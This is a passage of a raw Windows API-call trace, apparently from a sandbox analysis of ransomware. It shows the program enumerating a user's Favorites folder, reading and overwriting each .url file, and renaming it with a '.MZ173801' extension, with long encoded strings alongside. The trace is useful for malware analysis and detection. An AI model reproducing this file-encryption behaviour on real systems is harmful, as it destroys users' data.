cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.299] GetCurrentThreadId () returned 0x9fc [0144.299] GetCurrentThreadId () returned 0x9fc [0144.299] GetCurrentThreadId () returned 0x9fc [0144.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.300] GetCurrentThreadId () returned 0x9fc [0144.300] GetCurrentThreadId () returned 0x9fc [0144.300] GetCurrentThreadId () returned 0x9fc [0144.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.300] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.300] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.300] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.300] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.300] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.301] CloseHandle (hObject=0x224) returned 1 [0144.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.303] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.304] CloseHandle (hObject=0x224) returned 1 [0144.304] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.mz173801")) returned 1 [0144.305] GetCurrentThreadId () returned 0x9fc [0144.305] GetCurrentThreadId () returned 0x9fc [0144.305] GetCurrentThreadId () returned 0x9fc [0144.305] GetCurrentThreadId () returned 0x9fc [0144.305] GetCurrentThreadId () returned 0x9fc [0144.305] GetCurrentThreadId () returned 0x9fc [0144.305] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0144.305] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.305] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.305] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.308] GetCurrentThreadId () returned 0x9fc [0144.308] GetCurrentThreadId () returned 0x9fc [0144.308] GetCurrentThreadId () returned 0x9fc [0144.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.309] GetCurrentThreadId () returned 0x9fc [0144.309] GetCurrentThreadId () returned 0x9fc [0144.309] GetCurrentThreadId () returned 0x9fc [0144.309] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.309] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.309] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.309] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.309] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.310] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.310] CloseHandle (hObject=0x224) returned 1 [0144.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.311] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.312] CloseHandle (hObject=0x224) returned 1 [0144.312] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.mz173801")) returned 1 [0144.313] GetCurrentThreadId () returned 0x9fc [0144.313] GetCurrentThreadId () returned 0x9fc [0144.313] GetCurrentThreadId () returned 0x9fc [0144.313] GetCurrentThreadId () returned 0x9fc [0144.313] GetCurrentThreadId () returned 0x9fc [0144.313] GetCurrentThreadId () returned 0x9fc [0144.313] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0144.313] GetLastError () returned 0x12 [0144.313] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.313] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, 